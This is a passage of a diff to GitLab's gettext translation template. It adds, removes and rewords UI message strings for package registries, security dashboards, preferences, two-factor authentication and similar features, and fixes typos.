-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
